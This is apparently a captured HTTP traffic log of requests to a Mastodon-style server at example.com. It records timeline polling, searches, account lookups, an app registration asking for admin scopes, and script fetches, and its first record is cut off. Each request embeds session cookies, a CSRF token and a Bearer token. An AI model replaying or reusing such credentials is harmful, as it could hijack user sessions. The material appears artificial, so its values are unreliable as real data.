_session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTQuMTgyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b92fab7dd30ff048d3464bbffc8a7f41ed76f6d1; _mastodon_session=uzfS6TLAyWh5wUdt%2FnUnWe2TtnFzvC9b%2FOPbz2RrI95ejaAFx0Je2A5gMC2rH3XXNpnbXqws0YvNHT1K7%2BJufXKIEMs4q8OXeuhvKrzqFhVHG8%2F6GivC%2ByaS32S1Je9mhvf0kV4cW46z0TBTv%2BzvqxSiFdzQkFn7rs03cp1UZH%2BB3pQbFckLyfZl7fwrxF%2F6Azdg%2BemU8Kqeo1XPf3q3QwB3ngS51emJ3NDrxJ9rNDSGUwiJ1rbCHGXdP4ckdjmTsf3%2BeBoYsQVPbp0M6aUcvRLn8v7onscBDXa%2FTU5Njcouu1UZY1w5NwW%2BKlDGfgPahXaq2CszsU%2BwlexJoJCvli8LhmQHiqDObfca9YLy30YMy9hlvlQKpGbNE6xnEVXhl%2FeEfBwqbf3C--mPjXtM8XGh3jyGuj--U%2BUCXBpsPK6Us3f%2BU0IJcw%3D%3D"], "body": ""}
{"method": "GET", "target": "/api/v1/timelines/home?since_id=117589367555012187", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 4y8fueDarW-ue4CZC2FDhkf2BxXJG1L5RClvez07L3iyyygpRvsSBiRqq32vDqHtA8uHug__lxBdHhgNmnwW9w", "Authorization: Bearer Imd2JNqDrq-bktl3N0Jn2m5iHaDEXCBL2rl9dhX7YHg", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/search?q=ls+-la", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTQuMTgyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b92fab7dd30ff048d3464bbffc8a7f41ed76f6d1; _mastodon_session=uzfS6TLAyWh5wUdt%2FnUnWe2TtnFzvC9b%2FOPbz2RrI95ejaAFx0Je2A5gMC2rH3XXNpnbXqws0YvNHT1K7%2BJufXKIEMs4q8OXeuhvKrzqFhVHG8%2F6GivC%2ByaS32S1Je9mhvf0kV4cW46z0TBTv%2BzvqxSiFdzQkFn7rs03cp1UZH%2BB3pQbFckLyfZl7fwrxF%2F6Azdg%2BemU8Kqeo1XPf3q3QwB3ngS51emJ3NDrxJ9rNDSGUwiJ1rbCHGXdP4ckdjmTsf3%2BeBoYsQVPbp0M6aUcvRLn8v7onscBDXa%2FTU5Njcouu1UZY1w5NwW%2BKlDGfgPahXaq2CszsU%2BwlexJoJCvli8LhmQHiqDObfca9YLy30YMy9hlvlQKpGbNE6xnEVXhl%2FeEfBwqbf3C--mPjXtM8XGh3jyGuj--U%2BUCXBpsPK6Us3f%2BU0IJcw%3D%3D"], "body": ""}
{"method": "GET", "target": "/api/v2/search?q=.htaccess&resolve=true&limit=11", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 4y8fueDarW-ue4CZC2FDhkf2BxXJG1L5RClvez07L3iyyygpRvsSBiRqq32vDqHtA8uHug__lxBdHhgNmnwW9w", "Authorization: Bearer Imd2JNqDrq-bktl3N0Jn2m5iHaDEXCBL2rl9dhX7YHg", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/search?q=.htaccess", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTQuMTgyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b92fab7dd30ff048d3464bbffc8a7f41ed76f6d1; _mastodon_session=uzfS6TLAyWh5wUdt%2FnUnWe2TtnFzvC9b%2FOPbz2RrI95ejaAFx0Je2A5gMC2rH3XXNpnbXqws0YvNHT1K7%2BJufXKIEMs4q8OXeuhvKrzqFhVHG8%2F6GivC%2ByaS32S1Je9mhvf0kV4cW46z0TBTv%2BzvqxSiFdzQkFn7rs03cp1UZH%2BB3pQbFckLyfZl7fwrxF%2F6Azdg%2BemU8Kqeo1XPf3q3QwB3ngS51emJ3NDrxJ9rNDSGUwiJ1rbCHGXdP4ckdjmTsf3%2BeBoYsQVPbp0M6aUcvRLn8v7onscBDXa%2FTU5Njcouu1UZY1w5NwW%2BKlDGfgPahXaq2CszsU%2BwlexJoJCvli8LhmQHiqDObfca9YLy30YMy9hlvlQKpGbNE6xnEVXhl%2FeEfBwqbf3C--mPjXtM8XGh3jyGuj--U%2BUCXBpsPK6Us3f%2BU0IJcw%3D%3D"], "body": ""}
{"method": "GET", "target": "/api/v2/search?q=river+walk&resolve=true&limit=11", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 4y8fueDarW-ue4CZC2FDhkf2BxXJG1L5RClvez07L3iyyygpRvsSBiRqq32vDqHtA8uHug__lxBdHhgNmnwW9w", "Authorization: Bearer Imd2JNqDrq-bktl3N0Jn2m5iHaDEXCBL2rl9dhX7YHg", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/search?q=river+walk", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTQuMTgyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b92fab7dd30ff048d3464bbffc8a7f41ed76f6d1; _mastodon_session=uzfS6TLAyWh5wUdt%2FnUnWe2TtnFzvC9b%2FOPbz2RrI95ejaAFx0Je2A5gMC2rH3XXNpnbXqws0YvNHT1K7%2BJufXKIEMs4q8OXeuhvKrzqFhVHG8%2F6GivC%2ByaS32S1Je9mhvf0kV4cW46z0TBTv%2BzvqxSiFdzQkFn7rs03cp1UZH%2BB3pQbFckLyfZl7fwrxF%2F6Azdg%2BemU8Kqeo1XPf3q3QwB3ngS51emJ3NDrxJ9rNDSGUwiJ1rbCHGXdP4ckdjmTsf3%2BeBoYsQVPbp0M6aUcvRLn8v7onscBDXa%2FTU5Njcouu1UZY1w5NwW%2BKlDGfgPahXaq2CszsU%2BwlexJoJCvli8LhmQHiqDObfca9YLy30YMy9hlvlQKpGbNE6xnEVXhl%2FeEfBwqbf3C--mPjXtM8XGh3jyGuj--U%2BUCXBpsPK6Us3f%2BU0IJcw%3D%3D"], "body": ""}
{"method": "GET", "target": "/api/v2/search?q=%23python3&resolve=true&limit=11", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 4y8fueDarW-ue4CZC2FDhkf2BxXJG1L5RClvez07L3iyyygpRvsSBiRqq32vDqHtA8uHug__lxBdHhgNmnwW9w", "Authorization: Bearer Imd2JNqDrq-bktl3N0Jn2m5iHaDEXCBL2rl9dhX7YHg", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/search?q=%23python3", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTQuMTgyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b92fab7dd30ff048d3464bbffc8a7f41ed76f6d1; _mastodon_session=uzfS6TLAyWh5wUdt%2FnUnWe2TtnFzvC9b%2FOPbz2RrI95ejaAFx0Je2A5gMC2rH3XXNpnbXqws0YvNHT1K7%2BJufXKIEMs4q8OXeuhvKrzqFhVHG8%2F6GivC%2ByaS32S1Je9mhvf0kV4cW46z0TBTv%2BzvqxSiFdzQkFn7rs03cp1UZH%2BB3pQbFckLyfZl7fwrxF%2F6Azdg%2BemU8Kqeo1XPf3q3QwB3ngS51emJ3NDrxJ9rNDSGUwiJ1rbCHGXdP4ckdjmTsf3%2BeBoYsQVPbp0M6aUcvRLn8v7onscBDXa%2FTU5Njcouu1UZY1w5NwW%2BKlDGfgPahXaq2CszsU%2BwlexJoJCvli8LhmQHiqDObfca9YLy30YMy9hlvlQKpGbNE6xnEVXhl%2FeEfBwqbf3C--mPjXtM8XGh3jyGuj--U%2BUCXBpsPK6Us3f%2BU0IJcw%3D%3D"], "body": ""}
{"method": "GET", "target": "/api/v2/search?q=%40bob&resolve=true&limit=11", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 4y8fueDarW-ue4CZC2FDhkf2BxXJG1L5RClvez07L3iyyygpRvsSBiRqq32vDqHtA8uHug__lxBdHhgNmnwW9w", "Authorization: Bearer Imd2JNqDrq-bktl3N0Jn2m5iHaDEXCBL2rl9dhX7YHg", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/search?q=%40bob", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTQuMTgyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b92fab7dd30ff048d3464bbffc8a7f41ed76f6d1; _mastodon_session=uzfS6TLAyWh5wUdt%2FnUnWe2TtnFzvC9b%2FOPbz2RrI95ejaAFx0Je2A5gMC2rH3XXNpnbXqws0YvNHT1K7%2BJufXKIEMs4q8OXeuhvKrzqFhVHG8%2F6GivC%2ByaS32S1Je9mhvf0kV4cW46z0TBTv%2BzvqxSiFdzQkFn7rs03cp1UZH%2BB3pQbFckLyfZl7fwrxF%2F6Azdg%2BemU8Kqeo1XPf3q3QwB3ngS51emJ3NDrxJ9rNDSGUwiJ1rbCHGXdP4ckdjmTsf3%2BeBoYsQVPbp0M6aUcvRLn8v7onscBDXa%2FTU5Njcouu1UZY1w5NwW%2BKlDGfgPahXaq2CszsU%2BwlexJoJCvli8LhmQHiqDObfca9YLy30YMy9hlvlQKpGbNE6xnEVXhl%2FeEfBwqbf3C--mPjXtM8XGh3jyGuj--U%2BUCXBpsPK6Us3f%2BU0IJcw%3D%3D"], "body": ""}
{"method": "GET", "target": "/api/v1/accounts/relationships?with_suspended=true&id[]=117589325674471006&id[]=117589325674471006", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 4y8fueDarW-ue4CZC2FDhkf2BxXJG1L5RClvez07L3iyyygpRvsSBiRqq32vDqHtA8uHug__lxBdHhgNmnwW9w", "Authorization: Bearer Imd2JNqDrq-bktl3N0Jn2m5iHaDEXCBL2rl9dhX7YHg", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/search?q=%40bob", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTQuMTgyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b92fab7dd30ff048d3464bbffc8a7f41ed76f6d1; _mastodon_session=uzfS6TLAyWh5wUdt%2FnUnWe2TtnFzvC9b%2FOPbz2RrI95ejaAFx0Je2A5gMC2rH3XXNpnbXqws0YvNHT1K7%2BJufXKIEMs4q8OXeuhvKrzqFhVHG8%2F6GivC%2ByaS32S1Je9mhvf0kV4cW46z0TBTv%2BzvqxSiFdzQkFn7rs03cp1UZH%2BB3pQbFckLyfZl7fwrxF%2F6Azdg%2BemU8Kqeo1XPf3q3QwB3ngS51emJ3NDrxJ9rNDSGUwiJ1rbCHGXdP4ckdjmTsf3%2BeBoYsQVPbp0M6aUcvRLn8v7onscBDXa%2FTU5Njcouu1UZY1w5NwW%2BKlDGfgPahXaq2CszsU%2BwlexJoJCvli8LhmQHiqDObfca9YLy30YMy9hlvlQKpGbNE6xnEVXhl%2FeEfBwqbf3C--mPjXtM8XGh3jyGuj--U%2BUCXBpsPK6Us3f%2BU0IJcw%3D%3D"], "body": ""}
{"method": "GET", "target": "/api/v2/search?q=alice%40remote.example&resolve=true&limit=11", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 4y8fueDarW-ue4CZC2FDhkf2BxXJG1L5RClvez07L3iyyygpRvsSBiRqq32vDqHtA8uHug__lxBdHhgNmnwW9w", "Authorization: Bearer Imd2JNqDrq-bktl3N0Jn2m5iHaDEXCBL2rl9dhX7YHg", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/search?q=alice%40remote.example", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTQuMTgyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b92fab7dd30ff048d3464bbffc8a7f41ed76f6d1; _mastodon_session=uzfS6TLAyWh5wUdt%2FnUnWe2TtnFzvC9b%2FOPbz2RrI95ejaAFx0Je2A5gMC2rH3XXNpnbXqws0YvNHT1K7%2BJufXKIEMs4q8OXeuhvKrzqFhVHG8%2F6GivC%2ByaS32S1Je9mhvf0kV4cW46z0TBTv%2BzvqxSiFdzQkFn7rs03cp1UZH%2BB3pQbFckLyfZl7fwrxF%2F6Azdg%2BemU8Kqeo1XPf3q3QwB3ngS51emJ3NDrxJ9rNDSGUwiJ1rbCHGXdP4ckdjmTsf3%2BeBoYsQVPbp0M6aUcvRLn8v7onscBDXa%2FTU5Njcouu1UZY1w5NwW%2BKlDGfgPahXaq2CszsU%2BwlexJoJCvli8LhmQHiqDObfca9YLy30YMy9hlvlQKpGbNE6xnEVXhl%2FeEfBwqbf3C--mPjXtM8XGh3jyGuj--U%2BUCXBpsPK6Us3f%2BU0IJcw%3D%3D"], "body": ""}
{"method": "GET", "target": "/api/v1/timelines/home?since_id=117589367555012187", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 4y8fueDarW-ue4CZC2FDhkf2BxXJG1L5RClvez07L3iyyygpRvsSBiRqq32vDqHtA8uHug__lxBdHhgNmnwW9w", "Authorization: Bearer Imd2JNqDrq-bktl3N0Jn2m5iHaDEXCBL2rl9dhX7YHg", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/search?q=alice%40remote.example", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTQuMTgyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b92fab7dd30ff048d3464bbffc8a7f41ed76f6d1; _mastodon_session=uzfS6TLAyWh5wUdt%2FnUnWe2TtnFzvC9b%2FOPbz2RrI95ejaAFx0Je2A5gMC2rH3XXNpnbXqws0YvNHT1K7%2BJufXKIEMs4q8OXeuhvKrzqFhVHG8%2F6GivC%2ByaS32S1Je9mhvf0kV4cW46z0TBTv%2BzvqxSiFdzQkFn7rs03cp1UZH%2BB3pQbFckLyfZl7fwrxF%2F6Azdg%2BemU8Kqeo1XPf3q3QwB3ngS51emJ3NDrxJ9rNDSGUwiJ1rbCHGXdP4ckdjmTsf3%2BeBoYsQVPbp0M6aUcvRLn8v7onscBDXa%2FTU5Njcouu1UZY1w5NwW%2BKlDGfgPahXaq2CszsU%2BwlexJoJCvli8LhmQHiqDObfca9YLy30YMy9hlvlQKpGbNE6xnEVXhl%2FeEfBwqbf3C--mPjXtM8XGh3jyGuj--U%2BUCXBpsPK6Us3f%2BU0IJcw%3D%3D"], "body": ""}
{"method": "GET", "target": "/api/v1/accounts/relationships?with_suspended=true&id[]=117589371958209726&id[]=117589371958209726", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 4y8fueDarW-ue4CZC2FDhkf2BxXJG1L5RClvez07L3iyyygpRvsSBiRqq32vDqHtA8uHug__lxBdHhgNmnwW9w", "Authorization: Bearer Imd2JNqDrq-bktl3N0Jn2m5iHaDEXCBL2rl9dhX7YHg", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/search?q=alice%40remote.example", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTQuMTgyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b92fab7dd30ff048d3464bbffc8a7f41ed76f6d1; _mastodon_session=uzfS6TLAyWh5wUdt%2FnUnWe2TtnFzvC9b%2FOPbz2RrI95ejaAFx0Je2A5gMC2rH3XXNpnbXqws0YvNHT1K7%2BJufXKIEMs4q8OXeuhvKrzqFhVHG8%2F6GivC%2ByaS32S1Je9mhvf0kV4cW46z0TBTv%2BzvqxSiFdzQkFn7rs03cp1UZH%2BB3pQbFckLyfZl7fwrxF%2F6Azdg%2BemU8Kqeo1XPf3q3QwB3ngS51emJ3NDrxJ9rNDSGUwiJ1rbCHGXdP4ckdjmTsf3%2BeBoYsQVPbp0M6aUcvRLn8v7onscBDXa%2FTU5Njcouu1UZY1w5NwW%2BKlDGfgPahXaq2CszsU%2BwlexJoJCvli8LhmQHiqDObfca9YLy30YMy9hlvlQKpGbNE6xnEVXhl%2FeEfBwqbf3C--mPjXtM8XGh3jyGuj--U%2BUCXBpsPK6Us3f%2BU0IJcw%3D%3D"], "body": ""}
{"method": "GET", "target": "/api/v2/search?q=https:%2F%2Fremote.example%2Fusers%2Falice&resolve=true&limit=11", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 4y8fueDarW-ue4CZC2FDhkf2BxXJG1L5RClvez07L3iyyygpRvsSBiRqq32vDqHtA8uHug__lxBdHhgNmnwW9w", "Authorization: Bearer Imd2JNqDrq-bktl3N0Jn2m5iHaDEXCBL2rl9dhX7YHg", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/search?q=https%3A%2F%2Fremote.example%2Fusers%2Falice", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTQuMTgyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b92fab7dd30ff048d3464bbffc8a7f41ed76f6d1; _mastodon_session=uzfS6TLAyWh5wUdt%2FnUnWe2TtnFzvC9b%2FOPbz2RrI95ejaAFx0Je2A5gMC2rH3XXNpnbXqws0YvNHT1K7%2BJufXKIEMs4q8OXeuhvKrzqFhVHG8%2F6GivC%2ByaS32S1Je9mhvf0kV4cW46z0TBTv%2BzvqxSiFdzQkFn7rs03cp1UZH%2BB3pQbFckLyfZl7fwrxF%2F6Azdg%2BemU8Kqeo1XPf3q3QwB3ngS51emJ3NDrxJ9rNDSGUwiJ1rbCHGXdP4ckdjmTsf3%2BeBoYsQVPbp0M6aUcvRLn8v7onscBDXa%2FTU5Njcouu1UZY1w5NwW%2BKlDGfgPahXaq2CszsU%2BwlexJoJCvli8LhmQHiqDObfca9YLy30YMy9hlvlQKpGbNE6xnEVXhl%2FeEfBwqbf3C--mPjXtM8XGh3jyGuj--U%2BUCXBpsPK6Us3f%2BU0IJcw%3D%3D"], "body": ""}
{"method": "POST", "target": "/api/v1/apps", "headers": ["Host: example.com", "Content-Length: 156", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Content-Type: application/x-www-form-urlencoded"], "body": "client_name=Tusky&redirect_uris=urn%3Aietf%3Awg%3Aoauth%3A2.0%3Aoob&scopes=read+write+follow+push+admin%3Aread+admin%3Awrite&website=https%3A%2F%2Ftusky.app"}
{"method": "GET", "target": "/packs/throttle-DJD3CaHb.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/auth/sign_in", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=W2l04JlLigwdAvXsIy4EvlVd1Ptmg7KSdPF0EgbFrg%2BfdmsX946SRsCXP3n%2BSVSWxbeMeihoEp5iUPHuM50Lso84YxIVjdA1BQyNKzikL2lo2KrdMPklm5yoOWKSNPKSslO%2BjfO8pEk9QTjusM%2BSTvqs6oLFg0wH7oPEd6a3bXcX2qPNkqWbtDReRNQW1dGHBo3ow9o2i%2BJ6NjT4V68EnIViz3ZbUgsnN4fjuefPE9XKp8AuV7ug31EzuY%2BtXVlnC9j1flmfU%2FDRcJvrUDmCyYCYvKKsP6VtfA%3D%3D--Iq2gDgHeLfsGFKU2--FB8j6aSerWEyIpqqGTGo2Q%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/immutable.es-tL0E-S7u.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQmxOalF3TmpCak9ESmhZbU16TlRKa04yUmlOMk5tTVRNNVlUa3hOVEJsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTQ6NDAuNTkwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--88ab789cd0698755e1951bb51b721cfc4acc5b54; _mastodon_session=UJ2xL0EEwqyYjkT1doIj1CSZ8bWeuesxm7ed5rVSqQ9h5%2B56jiBCmF%2BVLfwHoovftGNwhrrZmEjC71gB4yGZ0NDq%2BgmiRHu6e5Bfczgfvext3MwTmnNjq3az5L5dz1tKxm3TT2LgvWncIXPSNw757RsvEdgqXN8y4vi3bH1CvK0IQLdE8A5mLHl6lY14EHsGe3j731%2BweyxzenkYynHA9hE4Ib6eXApqFPkmxt%2ButqbF359YwuIh%2FqXCgpWGh%2FDlckV55TKbr%2FJ4S6RJekjjA%2FJD3wa7OgHZenpH5DIbYVEANGAr1dCeBmhFIOaOY6%2BX3q0fgIJLx%2FYyt0JIRQmc9r8JmAvWB9EtbpNc9SdUNuOTjCnB65ZWuu8WpSsNxZyhW7Ck4%2BjQoIPU--sBQ7b%2F50W2Dktyh8--r2gfUWS7BTb44G9nbpeJdQ%3D%3D"], "body": ""}
